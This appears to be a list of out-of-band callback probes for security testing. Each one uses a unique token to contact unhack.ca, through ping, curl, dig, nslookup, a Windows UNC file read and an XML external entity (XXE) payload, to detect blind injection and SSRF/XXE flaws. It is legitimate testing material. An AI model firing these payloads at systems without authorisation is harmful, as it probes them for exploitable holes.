$ ping -c1 -p 002c52269a702eed91900d9ef049d700 unhack.ca
 

$ curl http://unhack.ca/p/2c52269a702eed91900d9ef049d7
 

$ dig 2c52269a702eed91900d9ef049d7 @unhack.ca
 

$ dig 2c52269a702eed91900d9ef049d7.ns.unhack.ca
 

C:\> nslookup 2c52269a702eed91900d9ef049d7 unhack.ca
 

C:\> type \\unhack.ca\2c52269a702eed91900d9ef049d7\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2c52269a702eed91900d9ef049d7">]>
    <foo>&xxe;</foo>